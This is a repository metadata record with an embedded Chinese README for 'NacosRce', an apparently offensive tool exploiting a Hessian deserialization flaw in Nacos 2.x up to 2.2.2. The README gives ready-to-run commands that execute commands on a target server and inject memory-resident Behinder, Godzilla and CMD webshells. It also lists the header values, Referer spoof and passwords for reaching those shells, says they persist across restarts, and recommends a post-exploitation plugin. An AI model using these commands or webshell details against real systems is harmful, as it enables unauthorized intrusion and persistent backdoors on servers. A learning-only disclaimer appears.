{"id":14637933,"url":"https://github.com/c0olw/NacosRce","last_synced_at":"2025-09-07T06:31:17.288Z","repository":{"id":177234683,"uuid":"659977802","full_name":"c0olw/NacosRce","owner":"c0olw","description":"Nacos JRaft Hessian 反序列化 RCE 加载字节码 注入内存马 不出网利用","archived":false,"fork":false,"pushed_at":"2023-07-07T09:03:48.000Z","size":424,"stargazers_count":756,"open_issues_count":9,"forks_count":85,"subscribers_count":5,"default_branch":"main","last_synced_at":"2025-01-02T10:37:54.883Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/c0olw.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-06-29T01:35:42.000Z","updated_at":"2024-12-31T02:24:09.000Z","dependencies_parsed_at":null,"dependency_job_id":"a98725f0-b9b8-46f5-aae2-8e901320c270","html_url":"https://github.com/c0olw/NacosRce","commit_stats":null,"previous_names":["c0olw/nacosrce"],"tags_count":3,"template":false,"template_full_name":null,"purl":"pkg:github/c0olw/NacosRce","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/c0olw%2FNacosRce","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/c0olw%2FNacosRce/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/c0olw%2FNacosRce/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/c0olw%2FNacosRce/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/c0olw","download_url":"https://codeload.github.com/c0olw/NacosRce/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/c0olw%2FNacosRce/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274005341,"owners_count":25205934,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-07T02:00:09.463Z","response_time":67,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-09-10T02:01:24.346Z","updated_at":"2025-09-07T06:31:17.258Z","avatar_url":"https://github.com/c0olw.png","language":"Java","funding_links":[],"categories":["Java"],"sub_categories":[],"readme":"## Nacos Hessian 反序列化漏洞利用工具 v0.5\n\n```latex\n\n  _   _                     ____          \n | \\ | | __ _  ___ ___  ___|  _ \\ ___ ___ \n |  \\| |/ _` |/ __/ _ \\/ __| |_) / __/ _ \\\n | |\\  | (_| | (_| (_) \\__ \\  _ \u003c (_|  __/\n |_| \\_|\\__,_|\\___\\___/|___/_| \\_\\___\\___|\n```\n\u003cbr /\u003eAuthor: 刨洞安全 \u0026\u0026 凉风\u003cbr /\u003e\n\u003cbr /\u003e注意：工具仅供学习使用，请勿滥用，否则后果自负！\n\n\u003cbr /\u003e**食用方式 **\u003cbr /\u003e\n1. 自动注入内存马并执行命令\tjava -jar NacosRce.jar Url Jraft端口 \"Command\"\n   \u003cbr /\u003e\t\n   ```shell\n   java -jar NacosRce.jar http://192.168.90.1:8848/nacos  7848 \"whoami\"\n   ```\n2. 只注入内存马\n   ```shell\n      java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 memshell\n   ```\n   \n   \u003cbr /\u003e\n\n\n\u003cbr /\u003e内存马说明：\n\u003cbr /\u003e一、冰蝎内存马：\n   \u003cbr /\u003e1、需要设置请求头x-client-data:rebeyond\n   \u003cbr /\u003e2、设置Referer:https://www.google.com/\n   \u003cbr /\u003e3、路径随意\n   \u003cbr /\u003e4、密码rebeyond\n   ![img.png](img.png)\n\u003cbr /\u003e二、哥斯拉内存马：\n   \u003cbr /\u003e1、需要设置请求头x-client-data:godzilla\n   \u003cbr /\u003e2、设置Referer:https://www.google.com/\n   \u003cbr /\u003e3、路径随意\n   \u003cbr /\u003e4、密码是pass 和 key\n\u003cbr /\u003e![img_1.png](img_1.png)\n\u003cbr /\u003e三、CMD内存马：\n   \u003cbr /\u003e1、需要设置请求头x-client-data:cmd\n   \u003cbr /\u003e2、设置Referer:https://www.google.com/\n   \u003cbr /\u003e3、请求头cmd:要执行的命令\n\u003cbr /\u003e![img_2.png](img_2.png)\nv0.5版本实现了：\n\u003cbr /\u003e1、不出网漏洞利用\n\u003cbr /\u003e2、可多次发起漏洞利用\n\u003cbr /\u003e3、同时注入冰蝎/哥斯拉/CMD内存马\n\u003cbr /\u003e4、内存马对nacos多版本进行了兼容\n\u003cbr /\u003e\n\u003cbr /\u003etips:\n\u003cbr /\u003e1、请用jdk1.8\n\u003cbr /\u003e2、适用于 Nacos 2.x \u003c= 2.2.2\n\u003cbr /\u003e3、非集群的也能打哦\n\u003cbr /\u003e4、此内存马重启nacos依然存活\n\u003cbr /\u003e\n\u003cbr /\u003e关于Windows\n\u003cbr /\u003e如用下面的方式执行，注入内存马时会生成临时文件 C:\\Windows\\Temp\\nacos_data_temp 和 C:\\Windows\\Temp\\nacos_data_temp.class 文件\n```shell\njava -jar NacosRce.jar http://192.168.90.1:8848  7848 \"whoami\" windows\n```\n\u003cbr /\u003e如果没有在最后加 windows，临时文件会在 /tmp/nacos_data_temp /tmp/nacos_data_temp.class，所以权限足够的话，不指定windows也能打成功\n\u003cbr /\u003ewindows 没打成功也许是因为没权限操作C盘或其他原因\n\u003cbr /\u003e\n\u003cbr /\u003e\n\u003cbr /\u003e关于编译\u003cbr /\u003e\n遇到依赖冲突无法编译的可以用以下方式\n\u003cbr /\u003e![img_4.png](img_4.png)\u003cbr /\u003e\n\u003cbr /\u003e![img_3.png](img_3.png)\u003cbr /\u003e\n\n\n\n\n项目地址：\nhttps://github.com/c0olw/NacosRce\n\n推荐哥斯拉Nacos后渗透插件：\nhttps://github.com/pap1rman/postnacos\n\u003cbr /\u003e参考文章\n\u003cbr /\u003e[https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/](https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/)\n\u003cbr /\u003e[https://exp.ci/2023/06/14/Nacos-JRaft-Hessian-反序列化分析/](https://exp.ci/2023/06/14/Nacos-JRaft-Hessian-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/)\n\u003cbr /\u003e[https://github.com/Y4er/ysoserial](https://github.com/Y4er/ysoserial)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fc0olw%2FNacosRce","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fc0olw%2FNacosRce","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fc0olw%2FNacosRce/lists"}